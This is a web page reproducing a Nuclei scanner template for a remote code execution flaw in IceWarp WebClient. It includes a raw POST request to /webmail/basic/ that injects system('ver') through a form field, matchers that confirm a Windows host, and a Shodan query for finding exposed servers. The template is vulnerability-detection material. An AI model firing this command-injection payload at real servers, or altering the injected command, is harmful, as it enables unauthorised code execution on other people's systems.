icewarp-webclient-rce: IceWarp WebClient - Remote Code Execution

2025-08-01 IceWarp WebClient PoC Public

Description

IceWarp WebClient is susceptible to remote code execution.

PoC

id: icewarp-webclient-rce

info:
  name: IceWarp WebClient - Remote Code Execution
  author: gy741
  severity: critical
  description: |
    IceWarp WebClient is susceptible to remote code execution.
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cwe-id: CWE-77
    cpe: cpe:2.3:a:icewarp:icewarp:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    shodan-query: title:"icewarp"
    product: icewarp
    vendor: icewarp
  tags: icewarp,rce,vuln

http:
  - raw:
      - |
        POST /webmail/basic/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        _dlg[captcha][target]=system(\'ver\')\

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Microsoft Windows [Version"

      - type: status
        status:
          - 302
# digest: 490a0046304402204389603e3c152b577f8ad301f42c0d9dbb4d9ee972ba27647a5e79f52c1f5a3c02205bbccf5e82f1fa2bcff094fc78bcd39b8d222dee148b2436a160505683706318:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/vulnerabilities/other/icewarp-webclient-rce.yaml

References

Related Vulnerabilities